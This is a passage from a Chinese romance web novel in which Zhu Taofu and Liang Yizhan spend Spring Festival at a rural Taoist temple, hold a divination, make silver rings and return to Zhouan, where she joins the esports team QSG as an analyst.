她想得简单,从前在高中租房,那个时候是一室一厅,梁以盏把自己的房间让给她。
时过境迁,在自己租的房子里,祝陶浮慷慨大方地将她睡的地方让渡出来。
静默半晌,梁以盏复又说:“……我不是这个意思。”
于是最后的解决方案,是梁以盏抱着被子,在沙发上过夜。
整条沙发简易狭小,他只能半躺靠在上面,长腿无法彻底放得平直。
白日里轻扫道观,晚上逛街采购后,回来又收拾东西,祝陶浮洗完澡,感觉到疲惫骤然袭来。
强撑着眼皮,来到客厅,她礼貌性询问:“要不你跟我一起睡吧?”
反正两床被子,各盖各的,她困倦地运转大脑思考。
谁知这个提议,梁以盏冷漠驳回。
“我不是圣人。”
实在是困得厉害,回到自己房间,祝陶浮嗯嗯地敷衍应答:
“好的,那晚安了,你这个冷漠无情的人。”
一夜无梦,却深度睡眠到上午。
期间订的三个闹铃响动,祝陶浮翻身将手机按灭,复又昏睡过去。
等她反应过来,离原定的七点半闹钟,依然过去一个半小时。
她倏地坐起,赶紧翻身下床。
推开门,便见到沙发上,坐着一道清冷慵懒的身影。
相较于她发丝凌乱,趿拉着拖鞋,梁以盏则云淡风轻地单手撑着下颌,支靠在沙发扶手,低头在手机上拨弄忙碌。
如果不是房子布置是自己曾租住的地方,祝陶浮会错以为,现在是在洲安的高中,而非栖梧郊外。
这些年过去,校园少年长成为商界叱咤风云的掌权男人。
窗外风雪未能摧折挺直脊背,他冷峻眉眼间,依然干净清冽如往昔。
注意到她起床动静,他淡定起身,前往厨房。
“你先去洗漱,我去准备早餐。”
身为主人睡过头,让客人来招呼下厨,祝陶浮坐到餐桌前,有些不好意思。
何况她记得梁以盏是西餐胃,见他和自己一样,吃着馒头、喝着豆浆,她真诚建议。
“要不趁着这会儿白天里视线好,你早点回洲安吧。”
梁以盏没说什么,只点了下头,状似认可。
“的确,趁着天色不错,静远观早去早回。”——
道观里一直有人值守,春节期间是祝陶浮帮忙看守。
大殿内已经轻扫得差不多,还剩神像前的经幡尚未换新。
今年有位道长在外地与其他门派交流学习时,重新制作了经幡,这两天才做好后运送到道观。
明天就是正月初一,新年新气象,祝陶浮打算搭个梯子在房梁上取拿悬挂。
见状,不待她开口,梁以盏径直从她手里接过宽大而沉重的布条,长腿一迈就要登上扶梯。
“诶,虽然你不信这个,悬挂的时候,还是要保持敬畏。”祝陶浮好心提醒,说着,冲着神像拱手作揖,心道莫怪莫怪,君子论迹不论心,梁以盏行为上已经很诚恳了。
原本是吊儿郎当地站在旁边,瞥了眼祝陶浮仰头望着神像时,小心翼翼,十分诚恳尊重,梁以盏收敛步子,肃冷静默地与她一起立于神像前。
扶梯摇摇晃晃,悬挂在横梁上的旧经幡落下,梁以盏顺手换上新的垂挂。
尽管他身手干净利落,对于祝陶浮而言,需要双手用力环抱着的长布,梁以盏单手便能掌控。
但祝陶浮在底下稳住扶梯时,看得心惊胆战。
索性两块经幡最终顺利悬挂,梁以盏安然无恙返回地面,祝陶浮悬着的心才放下。
“谢谢神明保佑,平安顺利完成。”祝陶浮笑了笑,漂亮眉眼弯弯,分外灵动柔和。
梁以盏看着她,也跟着低声向眼前神像,到了句谢。
下午祝陶浮给母亲上香祈福。
虽然她已经逝世多年,但祝陶浮仍旧为她祈祷。
已经写好的表文,只用填写姓名,贴在元宝袋子上,即可投入铜炉里焚烧寄往。
从抽屉里翻找出吴真留下来的表文,她给梁以盏也递了一张。
然而这一次,梁以盏没有立刻动笔。
阳上人姓名那一栏,他笔尖一顿。
当他是谨慎以待,祝陶浮与他闲聊:“怎么了,是担心静远观不如洲安的寺庙道观吗?”
祝陶浮见状,解释说:“跟在洲安一样,写上你的姓名、与对方的牵绊关系就可以了。”
于是梁以盏开始书写——
梁茶茶。
下一行—
祝小水。
她记得曾经在洲安上学的时候,第一次去庙里祭奠母亲时,梁以盏陪同的时候,祝陶浮问他不给自己的母亲寄去思念吗。
隐约知晓,梁以盏跟家里的关系很淡薄,国内父亲这边家族间明争暗斗不断,母亲则是常年在国外,信仰宗教不理尘世。
她病逝以后,葬在国外亲族墓园里。
为数不多的照片,她抱着小时候的梁以盏,脸上情绪淡漠,而五官的灰眸与浓艳,遗传给了他。
“她可能觉得,没有我更好,就不打扰她了。”梁以盏平静陈述,如同置身事外。
一时语塞,祝陶浮本就不太会安慰人,怔在原地。
颇为无所谓地看了她一眼,梁以盏道:“不过,你既然说了,那就还是告诉她一声。”
“……告诉什么?”祝陶浮问。
梁以盏:“你以后会知道的。”
梁茶茶,是她给他打下的备注。
追问不得他给自己的备注,祝陶浮现在明白,原来是小水的emoji。
“……学人精。”祝陶浮道。
想当初她玩游戏的id叫“bless”,梁以盏id接着是“you”。
Bless you。
她微信头像,是静远观门前的田园山水,梁以盏就截取她头像图片里那看上去空白、实际泛着灰茫的天空。
梁以盏写完,闲闲地看了一眼她的表文,状似漫不经心道。
“你不也是,有样学样。”
寄予的阳上人,祝陶浮这次不止写了自己,也是写着——
梁茶茶,祝小水。
第50章 置之死地而后生
现在人们普遍搬向城市聚集, 村落里越来越凄清寂冷。
随着年关将近,在外奔忙的大人小孩,渐渐地开始返回乡村, 沉寂已久的青山,方才回荡着热闹的鲜活气氛。
回程路上, 间隔散落分布的小院门口,零零星星, 开始燃放鞭炮烟花。
与城市里集中燃放、长时间盛大节日烟花相比,天空里时不时绽放的一簇簇火花,转瞬即逝。
当那一点星火消失于天际, 余下的无垠天空,显得愈发寂寥深远。
祝陶浮盯着窗外的烟花,微微出神。
如果不是梁以盏突然前来,今晚她打算随便煮点速食, 草草应付。
但来者是客,他又大包小包提了这么多东西, 梁以盏在厨房忙碌, 祝陶浮就在旁边帮着打下手。
四菜一汤,寻常样式,端呈在木桌上,空荡寂冷的房屋里,飘起饭香的烟火气。
或许, 这也算是年夜饭吧,她想。
两个人在一起,还是第一次一块过年。
祝陶浮身为房子的主人,反倒有些无所适从,于是打开许久未用的投影, 播放春晚当背景音乐,使得室内不至于过分安静。
对此,梁以盏没有什么意见,随便她去,祝陶浮主动打破安静,闲聊问。
“你应该不看春晚吧?”
长年在国外生活,梁以盏应该没时间也不感兴趣。
的确如她所料,他淡淡应声。
“嗯……需要关掉吗?”其实这些年,祝陶浮也没有再看春晚,还是小时候母亲在时,与她一同观看。
梁以盏看了她一眼,道:“开着吧。”
吃完饭两人坐在沙发上,一端还放着祝陶浮拿给他的被子。
本来就狭小的沙发,在他们两坐下以后,竟然显得充实起来。
尽量地与他保持着一定距离,祝陶浮默默地往边上挪了一点。
现在春晚正在进行的节目,是小品,主题是永恒不变的催婚话题,然后包饺子的大团圆结局。
表演朴实无华、剧情平平无奇,祝陶浮一个人看觉得没什么,然而梁以盏坐在身旁,有些微妙的尴尬。
她悄悄地侧眸,发现梁以盏目不斜视,看得挺认真的模样。
“怎么了。”冷不丁地,他淡然发问。
怔了怔,祝陶浮轻咳两声,说:“你觉得这小品有意思吗?”
梁以盏淡声:“没意思。”
祝陶浮哦了一声,道:“那你看得这么认真?”
眼皮轻掀,梁以盏闲闲地说;“你不也是吗。”
好吧,反正说不过他,祝陶浮讷讷地收回眼神。
投影是原来的电视机年久失修以后,母亲随便买来使用。
一晃这么多年过去,小巧老旧的仪器还能缓慢运转。
前面正对播放着热闹欢乐的人山人海,身侧闲散坐着的身影冷峻而慵懒,窗外渐次燃放的烟花有远有近,祝陶浮理应不会有困倦之感。
不知道是不是取暖器的温度刚刚适宜,烘照得暖和静谧,眼皮渐渐地变得沉重,她怀里捏着抱枕,脑袋止不住地往下坠。
过了一会儿,迷迷糊糊间,祝陶浮感觉侧颈被宽大温热的手掌,轻轻托住。
眉心轻蹙,无意识地嘤咛了一声,祝陶浮眼珠转了转,艰难睁开醒来。
映入眼帘的,是梁以盏俯身而来的冷峻身影。
近距离观察,他眉骨清晰立体,英俊凛冽而带有混血的俊美艳丽。
长睫掩映下的灰眸深邃幽深,逆着灯光,眼底似乎泛着平日里没有的些许柔和。
以为是自己看错了,祝陶浮眨了眨眼,梁以盏随之起身,站直身体,恢复成一贯漫不经心的懒散模样,仿佛方才温和的眼神只是错觉。
“睡的这么沉,刚准备把你弄去床上睡。”居高临下,他散漫嗤笑说。
没有具体说明这个弄字,是以哪种方式,祝陶浮摇了摇头,从沙发上坐起来。
“不用,我要守岁。”
虽然嘴上拒绝了对方的提议,但身体很诚实地在保持短暂清醒以后,再次陷入昏昏欲睡之中。
零点到,春晚里传来沸腾热烈的欢笑掌声,窗外零星散落的烟花,终于汇聚成璀璨光芒,在夜空中恢弘而闪耀。
巨大的喧嚣声里,祝陶浮再次被外界动静惊醒。
这次她
不是卧趴在抱枕里,而且侧靠在坚实利落的肩膀上,长发凌乱地缠绕在他冷白修长的脖颈之处。
意识涣散地稍稍远离,将身体坐直,披在身上的毛毯滑落在沙发上。
柔软发丝轻擦过他线条凛冽的下颌,对方喉结无意识地轻轻滚动。
祝陶浮抬眸,看向身侧之人。
昏睡的脑海渐渐缓了过来,她轻浅地笑了一下,说。
“……新年快乐。”
梁以盏也看着她,轻声道:“新年快乐。”
—
大年初一,依旧是梁以盏下厨,端出来两碗面作为早餐。
里面简单添加了青菜鸡蛋,寓意新一年福气长寿的美好愿望。
回想曾经高中时期,梁以盏煮面里还会有蛋壳碎渣,如今却是完整的荷包蛋,祝陶浮咬了一口边缘蛋白,心中颇为感慨。
吃完早餐,她发自内心称赞。
“你厨艺真好。”
梁以盏正在洗碗,他抬起眼皮,懒懒道:“是想说以前做饭难以下咽吧。”
站在洗水池旁,祝陶浮拨弄手机回复朋友们的春节祝福:“……大过年的,咱不说丧气话。”
梁以盏嗯声,说:“知道了,很有进步是吗。”
祝陶浮很是欣慰:“对的对的。”
孺子可教也。
“所以,小祝老师,要给颁个进步奖吗?”散漫抬眸,梁以盏适时提问。
小祝老师……
这还是她在洲安担任临时分析师,教师节的玩笑称谓。
现在忽然如此被谈及,祝陶浮愣了一下,从手机里抬头,有些为难地表示:“……我现在不是分析师了。”
“是吗。”他语调里没有什么波澜起伏,似是在平静闲聊。
“祁招不是专门来找你回去。”
“嗯……那你也明白,我拒绝了。”
上次祁招来学校找自己,造成的误会意外,祝陶浮后来跟他解释道歉。
但对方没有接受,唯一可行解决方法,是她答应来到QSG。
没有在这个话题上过多停留,两人还要赶早前往静远观。
大年初一,祭拜神明,云游在外的吴真,还有两三位道士,聚集在观里。
“哎呀,真是谢谢你们帮忙更换经幡,新年新气象,咱们大殿也换上了新衣服。”吴真笑眯眯地冲他们两人抱拳,表达感谢。
随即看向祝陶浮身边的男人,礼貌问好:“陶浮,这位是?你不介绍介绍?”
平静地看向吴真,祝陶浮眨了眨眼:“师父,演技有点差了。”
“不用装不熟。”
吴真、梁以盏:……
“咳咳,那什么,不好意思,我连夜回到栖梧,昨晚没睡好,脑子还有点糊涂,哈哈哈……”吴真伸出的手停在半空中,神情尴尬地说。
“不愧是梁董,相貌仪表堂堂,出手更是阔绰大方,这几年咱们这小观的翻新修缮,还有门口的道路,都是感谢您大力支持,我们如今才能如此轻松惬意……多谢多谢,福生无量。”
梁以盏也跟着点头附和,显得颇为随意:“理解,贵人多忘事。”
祝陶浮:“……你演技也不太好。”
梁以盏:……
难得地见他复又沉默,祝陶浮自觉心情不错,开心的情绪溢于言表。
眼神垂睨,梁以盏幽幽道:“别太得意。”
起初,她没有将这话往心里去,没过一会儿,她就明白了是什么意思。
见他们两来到客堂,吴真起身关上小房间的木门。
“新年好,小陶浮,我们来进行一项大吉大利的活动。”
展露出一个和颜悦色的微笑,吴真拨开书架上翻边卷页的旧书,从里面取出来一个普通到没有任何装饰的龟甲,摇掷出三枚硬币。
拿在手里晃了晃,他随意地放在桌上,笑意未改伸出右手手掌:“请吧。”
笑容不会消失,只会转移,现在轮到祝陶浮沉默了。
室内清寂无声,阳光照进屋内静静流淌。
六爻。
“陶浮,我知道,你一直对于下下签耿耿于怀——桃花劫,所以才一直不想与他并列姓名,也不愿与他牵连关系。”吴真说。
“是福不是祸,是祸躲不过,既然今天你们一起来了,那就共同摇一卦吧。”
祝陶浮坐在他对面一动未动,然而她身边忽然有一只手,轻轻地牵握住他。
带着平和却又不由分说地力道,将她微微轻颤的指尖,放在桌面上。
梁以盏侧瞥眼眸,静静地注视着她:“以前都是你一个人面对,这次我和你一起。”
“如果依旧不愿意,我不强求,但我保证,我们一起的卦象,一定不一样。”
语气笃定沉稳,仿佛结果尽在掌握之中。
祝陶浮勉强笑了一下,开起玩笑缓解紧张:“你和道长不会串通好了,有钱能使鬼推磨啊?”
灰眸一瞬不错地看着她,有种蛊惑人心的沉静,梁以盏说:“是天意如此。”
她不愿意抽签,只好换种方式,起卦卜算。
可祝陶浮觉得,不会有什么变化,结果已定,过程是什么,都不重要了。
卦象起,占卜落。
“你看,小陶浮,我说什么来着,祸福相依。”对于结果,吴真好像并不意味,依旧和蔼笑笑。
“虽是水火相济,亦为置之死地而后生。”《 》
50-60
第51章 新酒换陶浮
正月初二, 雨水节气。
今年立春是难得一遇的在春节以前,初一春节天气放晴,太阳出来积雪开始融化, 潺潺溪流映照着暖光,大地上一片万物复苏的盎然景象。
一夜过去, 进入雨水节气,天空忽然飘来乌云, 雨滴说下就下。
昨日晴空万里,今天细雨蒙蒙,阳光下的青山蒙上了一层黛乌色的面纱。
鉴于昨日是梁以盏做早餐, 祝陶浮决定将闹钟往前拨快了半小时,提前起床。
然而当她穿戴完毕,走出房门,这一次虽然不是坐下了直接就吃饭, 厨房里早已有道高挺利落的身影,在灶台前忙碌。
祝陶浮走过去, 有些歉疚道:“不好意思, 又让你……”
“今天早餐依旧是面条,和昨天差不多,加鸡蛋和青菜。”梁以盏侧瞥了她一眼,平静陈述:“就是寓意不一样。”
“……什么?”大脑有些混沌,祝陶浮困惑道。
“长寿面。”梁以盏说。
“生日快乐。”
一年有二十四个节气, 属于春季的有六个,唯有“雨水”名称,听上去像是天气而非节气,普通而寻常。
甚至其它几个在看到词语时,会联想到明显的色彩, 携带着各具特色来给人们报春。
只有雨水,听上去阴沉潮湿,是凝结在心头的沉重,没有太多关于春天期盼的鲜活与轻盈。
这些年在祝家不会给她过生日,现在的年轻人几乎都是依照公历,而非农历庆祝,同学朋友们会在每年固定的日子进行祝福。
小时候母亲是按照农历给自己过生日,最近的上一次,还是六年前在洲安的高中,与梁以盏同住屋檐下的时候。
今年节气颠倒混乱,祝陶浮这两天睡眠昏沉,一时半会儿没想起来,今天是雨水节气。
“……谢谢。”自己不记得,旁人替自己顾念起,一时间祝陶浮心绪有些混乱。
尚不等她厘清思路,梁以盏洗净手后,从衣服外套里拿出一个檀木匣子。
小礼盒精致小巧,打开时伴有丝缕沉香气息。
冷白修长的手指,将一条精细的手绳从里面挑弄出来,系挂在她伶仃细瘦的手腕上。
他指尖带着水滴的冰冷潮湿,然而手绳上的玉石却温润柔和。
祝陶浮低头看了眼,是平安扣。
“这……你过生日我都没有给你送,多不好意思啊。”祝陶浮小声,诚恳道。
眼皮撩起,灰眸懒散注视着她,梁以盏闲闲地说:“觉得不好意思,那给我送回来不就得了。”
过生日寿星为大,一般这种时候,寿星说出谦辞,其他人应该顺势往下接话,而不是与其对着干。
偏偏梁以盏没有此等觉悟,祝陶浮给了不好意思的梯子,他就抓
着往上、得寸进尺。
所以本人也没想到是这个答案,祝陶浮讷讷道:“好吧,那你想要什么?”——
离栖梧郊区最近的一个市区,商场周边的人流量比往年增长许多。
可能是经济下行,人们看开以后享受当下,在难得的休息假日里吃吃喝喝、四处玩乐,梁以盏与祝陶浮在停车场里转了好一会儿,才找到停车空位。
原定的那家商场里的手工店,几乎人满为患,多数是大人带着小孩,小朋友彼此之间嬉笑打闹,有的玩闹过界,正在嘤嘤大哭。
作为两个大朋友,梁以盏与祝陶浮彼此相视一眼,果断转战到附近设备没那么好、但顾客较少的diy店。
在团购软件上搜寻一番,终于找到了一家藏匿在居民楼后巷里的小店。
这几天过年,顾客集中在下午到晚上,他们两接近十一点钟前来,算是店里今天的第一批客人。
店家是名老板娘,热情地过来给他们俩一人倒了一杯热橙汁,然后准备教他们如何使用工具。
“没事,之前我做过,差不多步骤我还记得。”祝陶浮见她一个哈欠接着一个哈欠,明显熬了个通宵没睡醒,让她先去里屋缓缓,自己知道怎么办。
“害,大过年的好不容易一大家人聚在一起,一打麻将打得昏天黑地,就忘记了时间。”老板娘困倦地招呼,遂露出一个我懂我懂的神情。
“那我先去休息一下,给你们小情侣留个私人空间哈哈。”
祝陶浮:……
一时间小店里剩下他们两人,屋内安静到相对而坐的两人有些拥挤得拉近。
忽然有些后悔,找了这家人少的店面,至少有其他人在场,不至于如此窘迫。
她看了眼梁以盏,想缓解老板娘话语里的尴尬:“那个,你别往心里去哈。”
后者淡淡地瞥了她一眼,没有受到什么影响。
“没往心里去。”梁以盏状似附和,祝陶浮稍稍放下心来。
下一秒——
“毕竟我们不是情侣,是吧,未婚妻。”梁以盏。
祝陶浮:……?
现在店里的戒指都是按照对戒售卖,高中的时候祝陶浮手里没什么钱,秉持着能省则省的原则,她跟老板商量后只做了一只银戒指。
之所以想到送这个生日礼物,梁以盏的生日亦是一个节气——
大寒。
没有其他冬季节气的浪漫雪色,大寒是一年里最严寒的时候,冷到极致、冰封刻骨。
靠近前面的诸如冬至,深藏着人们对于或思念或祝愿的美好寄托。
更靠后的是立春,人们团聚欢庆、畅想来年,只期盼着最难熬的冷清大寒,快点过去。
可能被遗忘不被期待,也是昼夜交替的自然规律,大寒据一些古籍记载,亦是一年之中,阴气最重的时候。
前一年中元节的孤魂野鬼,大半夜仍然在外晃悠,祝陶浮心有余悸。
知晓梁以盏是大寒时节出生,自己不是道士不会画符,不然就画一张符作为礼物送给他。
在听到她关于礼物的提议,尤其祝陶浮很认真地表示想绘制一张符纸,用以辟邪保佑平安。
梁以盏觉得又好笑,但又不想打消她的积极性。
略一思索,换了个法子。
“银不是能辟邪吗,就那个吧。”
接祝陶浮补课从地铁回来的路上,梁以盏指向已经关门的一家手工店。
趁着白天前往店面,祝陶浮以为是能做个银质小挂饰之类,结果没想到店里主打的是对戒。
店主见她是小姑娘,当她跟那些情侣们一样来店里制作,还乐呵呵地介绍,同为银质,哪种材质方便刻画,哪种材质方便保留,哪种性价比最高。
对此,祝陶浮只道:“最便宜的就行。”
店主:……?
然而即使最便宜,也是最容易变色的材料,也不知道时隔六年他是怎么保存的,中元节祭拜的时候,梁以盏拿出来的银戒指,依旧如故崭新。
在祝陶浮给梁以盏制作戒指的时候,后者则有模有样,跟着她学。
甚至做着做着,速度和完成程度,渐渐地超过自己。
“你怎么这么快。”祝陶浮惊讶问。
短暂地停止忙活,梁以盏冷艳眉眼压睨向身侧。
“首先,男人不能用快形容。”
祝陶浮:“哦……”
“其次——”他拖长了尾音,意有所指:“小祝老师教得好。”
祝陶浮:……
自己就不该害怕尴尬,没话找话!
一番插科打诨下来,原以为会各自独立、安静制作完成,实际上是在有一搭没一搭地闲聊里进行。
依旧如同六年前一样,祝陶浮篆刻了一段经文祝语,梁以盏在银戒上,写下相同的祝愿。
以至于老板娘在里屋小憩了一会儿出来,注意到他们两时不时说着什么,男帅女美,对熬夜后酸涩昏沉的眼睛,赏心悦目十分友好。
和蔼地注视着两人,老板娘走过来端详他们的成果。
“非常不错,做得太好了,两位有兴趣拍个照,留个纪念?”
说着她指了指,后面贴满照片的墙面。
“这面爱心墙记载了小情侣们之间的甜蜜过往,二位颜值这么高,可以拍一个的哦。”
祝陶浮摆了摆手,面对老板娘的热情,略显不好意思地笑了笑。
梁以盏轻点下颌,懒洋洋道:“她比较害羞。”
被点名的祝陶浮一脸懵懂,老板娘则是恍然大悟的了然说:“明白明白,那就祝你们不是记载的过往,而是更美好的未来吧!”——
返回路途中交通拥堵,等两人再次来到小镇上的烟霞村,天际渐渐变得昏黄。
不知道什么时候,后备厢放着一匣美酒。
夕阳余晖融落于皑皑白雪,泛起耀眼金边。
晚饭前村子里烟火袅袅,小孩子们一边玩着烟花鞭炮,一边嬉笑打闹从旁边路过。
雪地里,他们似懂非懂,吟诵着寒假作业没有完成的诗句。
“爆竹声中一岁除,春风送暖入屠苏。千门万户曈曈日,总把新桃换旧符。”
打开木匣,梁以盏取拿下酒,在手里掂了掂。
晚风里他轻笑着,落日鎏金熔于灰澈瞳眸,眼尾微扬,散漫而恣肆。
“知道你不喝酒,不过也没关系,这世上的很多事情,不需要有意义,而只要愿意就够了。”
“我不喜欢新桃换旧符,我就要新酒换陶浮。”
高中时候,默写诗句,梁以盏不用参加国内高考,无意间瞥见过她写下的诗句。
“新酒换陶浮,这诗还不错。”他懒洋洋道。
“不错在哪,你都念错了,是新桃换旧符。”祝陶浮无奈纠正。
梁以盏无所谓道:“我乐意就行。”
祝陶浮:……
在没有回到祝家的时候,她不姓祝,只单作为“陶浮”而活着,为“桃符”谐音。
这是静远观的吴真道长,结合她的五行命理而得,告诉她母亲这个孩子命运多舛,取自“桃符”压住命运妖邪,尽量平安顺遂。
母亲不希望她回祝家、牵扯进祝家是是非非,姓氏没有让她跟着自己,最终名字落在谐音以及五行属水的“陶浮”。
所以吴真每次称呼,都是“陶浮”,亦是“桃符”。
高中时可以推托是无心之举,眼下的称唤,印证着梁以盏其实什么都知道。
当她不愿意面对,他也可以装作什么都不知道。
但如果她转身,他会和她一起向前看。
祝陶浮看着他,慢慢伸出手接住,触碰到冰凉却带着他掌心温度的酒。
第52章 杀孽太重
接下来的几天, 梁以盏和祝陶浮在道观里打理清扫殿内殿外,整理经文书卷,煮茶闲看云卷云舒, 以及——
烟霞村周围最近多了两位热心村民,两人分别穿着挺接地气的大花袄, 一蓝一红两种颜色。
由于颜值过高与接地气无关,被简单直接地统称为村草和村花。
天气雨雪交加, 道路泥泞打滑,一些底盘低的车辆,再往更深远的山里、不是水泥路面的地方, 无法前进。
越野车此时派上了用场,梁以盏和祝陶浮,与当地的村委会一起,将物资运输到偏远的村民家里。
在这一个多星期的日子里, 祝陶浮原以为两人可能会相对无言,因而时间会无限延伸。
可实际上, 从每天睁眼开始, 都有各种各样忙不完的事情。
这是她过得最忙碌
的一个春节,也是她除了小时候不想上学、想假期延长,而有些舍不得。
初七是法定节假日的最后一天,也是联盟收假的日期。
在初六的晚上,她接到了来自QSG的电话, 是经理打来的。
“bless,新年快乐。”春节当天,经理已经在微信上道过祝福,此时此刻,特意打来电话, 寓意已不用过多陈述。
“我们今天就已经收假在训练了,大伙儿可都是很想念你。”
“无论如何,QSG分析师的位置,始终为你保留。”他说。
初七是返程高峰期,为了错峰出行、避免交通拥堵赶不及上班的时间,归家的游子们,有的趁着初六晚上不舍离开。
站在阳台上,祝陶浮看着窗外的车灯明明灭灭,没有第一时间回话。
电话那头也不着急,与她一同沉默以待。
“我考虑下。”良久,祝陶浮说。
挂完电话,她转身回到屋内,发现不知道什么,梁以盏站在自己身后。
关上阳台门板,寒风瞬间止息,回到温暖室内,祝陶浮说:“偷听别人的讲话,不太好吧。”
身后的男人并没有否认,坦然地轻点下颌,他道:“我和他一样,是来征询你意见。”
“你明明想回洲安,为什么犹豫。”
眼睫半垂,祝陶浮似乎沉浸在回忆里,一时半会儿无法回答。
“是因为那支签文。”
她不说话,梁以盏替她回答。
既然那天吴真当着他们两人的面,一起摇卦卜算,祝陶浮心里清楚,想必吴真将上一次抽到下下签后发生了什么,告诉过梁以盏。
无论祝陶浮如何跪倒恳请神明,母亲还是离开了人世。
一个人的结果她尚且承担得如此艰难,两个人的宿命,她无论如何都背负不了。
所以她一次次逃避、选择远离。
本该是如同这一周内、每一个平静如水的夜晚,倏地平地起波澜,微妙平衡就此打破。
“如果你想沉浸在过去,我不会强迫你一起回到洲安。”
“如果你愿意去往未来,我已经联系上报了你的乘机信息,明天下午一点的私人飞机离开栖梧。”
“我想告诉你的是,命运的决定权不是那支签文我会在楼下等到上午九点钟。”
闻言,祝陶浮抬眸,静静地看着他。
想说什么,她想了想,又把话语咽了回去,只道。
“晚安。”——
八点五十八分,越野还停留在楼下,没有挪动。
车玻璃前堆叠一层薄雪,这辆车的主人似乎没有移开的意思。
然而驾驶座上的身影,已经坐在其中静默良久。
八点五十九分,越野依然没有要启动的架势。
后视镜里,忽然出现一道窈窕身姿,在她倒影出来的一刹那,驾驶门几乎是同一时间打开。
行李箱放在楼梯口,祝陶浮手里还拎着大包小包。
虽然梁以盏迈着长腿,很快地接过两大袋东西,祝陶浮依旧没好气道。
“我就说吃不完,你还剩这么多!”
眼尾不着痕迹地勾了一下,梁以盏耐着性子应下她这声教训,他坦诚道:“是,那你要和我一起解决掉吗?”
正月初十,是年后QSG第一场比赛。
如往常一样,QSG公布当天的首发名单。
但是这一条的微博热度,盖过自今年以来QSG所有的点赞评论。
分析师bless,正式登上联盟大名单。
紧接着,下一条就是wee的官宣微博。
网友们调侃,QSG是太仓促也是太激动,一是本应该先欢迎再公布首发名单,官微却将两者顺序弄反。
二来官宣从来都是长视频,到了bless这里,则是一张简单的公式照,明显是刚刚敲定下来,官方便迫不及待地公开宣传。
尽管只有一张公式定妆照,在发布出来的一瞬间,热度再次攀上新高,甚至直接进入微博热搜总榜。
#QSG.bless
公式照里,分析师一身简洁黑西装,神情严肃冷漠,偏生那张脸浓丽明媚、惊艳四座。
起初,评论区是清一色的问号,然后是统一的感叹号。
“有没有搞错,bless竟然是这么漂亮的大美女吗?!”
热评第一,简洁明了将众人千愁万绪全部表达。
震惊、喜悦、感慨……
更多的,则是质疑。
虽然电子竞技不乏女性从业人员,但在赛场上,仍是男性占大多数。
bless明显就是一个小姑娘,出道就是豪门战队QSG的首发分析师,她真的能行吗?——
正月十五,元宵节。
祝家和还有其他几家洲安的豪门相聚在郊外马场。
对于骑马不是特别感兴趣,祝陶浮坐下的宝马,是梁以盏派专人打理的马驹。
没有竞赛马的刚烈,也不如其他人的马匹性情奔放,这匹马生得高大威猛,性格却是少有的平和。
即使对于祝陶浮这样生疏的新手,她驾驭起来也毫不费力。
如果不是有驯马师在场,这匹马像是她亲手调教的,带着她平稳地在草坪上驰骋。
“这几天好些人问我,说祝家怎么跟祁家走得这么近了。”
祝峥控制着自己的马匹,来到祝陶浮旁边,与她并肩慢慢向前。
不擅长也不喜欢马术这项运动,祝陶浮起初为了联姻的未婚妻名头,出于豪门社交目的,她让梁以盏教过她一二。
后来她发现梁以盏是真的如最开始承诺那般,不需要她承担任何联姻的义务,就再也没有骑过马。
所以她马术几乎为零,还不如今天聚会里的一些小朋友的技术强。
对于祝峥阴阳怪气的问话,她已经几乎处于免疫状态,实话实说地应对。
“有什么奇怪的,我和祁招一个队伍,的确距离近。”
她言辞轻巧,祝峥没她这么心大无所谓,英俊眉眼间流露出忧愁神色。
“你别看梁氏两兄弟滚去海外了就掉以轻心,他们可从未停止试探,比如祁家,就是他们垂涎已久的肥肉。”好心提醒,祝峥道。
“所以梁以盏什么态度,他不反对吗?”微一挑眉,祝峥询问。
“嗯……是他接我回来的。”祝陶浮说。
“……啧,妹夫可真大度。”祝峥切了声,给出这么一个评价。
象征性地骑马溜了一圈,祝峥豪门圈里社交目的达到,祝陶浮打算离开马场。
祝峥来到终点先一步翻身下马,旁边站着专业的驯马师,但他替祝陶浮将马匹牵引安抚,扶着她站稳原地。
“不用这么看着我,太阳没打西边出来。”注意到她惊讶的眼神,祝峥替她将帽子下垂落的一缕乱发,整理到马术服后。
午后阳光照耀,落进他眼神里浮动着少有的认真。
祝峥看向她,平静道:“毕竟,你叫了我一声哥哥。”
不似过去絮絮叨叨,祝峥径直放她去休息区。
更衣室里祝陶浮简单整理完毕后,在休息区闲逛。
这栋酒店式庄园,功能分区种类繁多,其中一片区域是射击区。
室内场馆虽然没有室外宽阔开敞,但设备还算齐全,差不多是一个小型的射击俱乐部。
工作人员帮助启动打开,祝陶浮没有让他去喊教练,表示自己随便玩玩。
戴上隔音耳机,祝陶浮随意挑了把手枪,对准靶心。
独自练习了一会儿,祝陶浮打算尝试一下其他种类,她去旁边喝点水再继续。
隔音耳罩摘下,祝陶浮离开射击区。
不知道什么时候,沙发上坐着一道窈窕倩影。
她没有让工作人员提醒祝陶浮,一直安静地坐在沙发上,注视着她进行射击。
见祝陶浮走过来,姜宛冲着她温和微笑,目光中像是极为欣赏。
“没想到小浮人长得如此漂亮,玩枪的时候也是这么好看。”在祝陶浮落座的时候,她主动递了瓶矿泉水。
“怪不得,很是惹人喜爱。”末尾四个
字重音强调,祝陶浮听出她应该是意有所指,却并不说明到底是指向何处。
空旷的室内没有射击枪响,也无外界前来打扰,过分安静得有些瘆人。
一时间相坐无言,片刻以后,祝陶浮主动开口,打破沉寂。
“姜小姐来此,不玩玩射击吗?”
姜宛笑了一下,摇了摇头,温柔拒绝:“不了,我总觉得枪械一类,杀孽太重。”
微微抬眸,黝黑眼瞳倒影着这位温婉柔静的女子,祝陶浮轻声说:“姜小姐菩萨心肠,上次在禅寺已然领略。”
“是啊。”姜宛声线平静,在这过分寂冷的室内,无端透露出寒凉。
“承蒙佛祖庇佑,所以更得善行持重。”
第53章 交给我
在QSG引入祝陶浮以后, 原本就关注度颇多的战队,现在热度攀上新高,一举一动都会被放大讨论。
QSG官宣她成为分析师的第一时间, 许若歆便发来祝贺,还有其他的朋友、同学, 以及实习时的同事们,纷纷表示惊讶, 亦是表达恭喜。
但随着赛事进程往后,竞争越来越激烈,一招不慎变会满盘皆输。
这名新晋而漂亮的分析师, 自然而然成为舆论中心点。
网友调侃bless来到QSG以后,分担了一半chess的炮轰舆论。
所谓别人家有双C在赛场上carry,QSG是双S在赛场外strive。
“搞不懂了,又不是你上场打比赛, 输比赛的首锅为啥分给你!”
最初的喜悦消散过去,许若歆每次点开评论区, 她都是心惊胆战。
无论输赢, 祝陶浮总是会被从各个方面挑刺批判,从bp选择到打团时机,网友堪比逐帧放大镜。
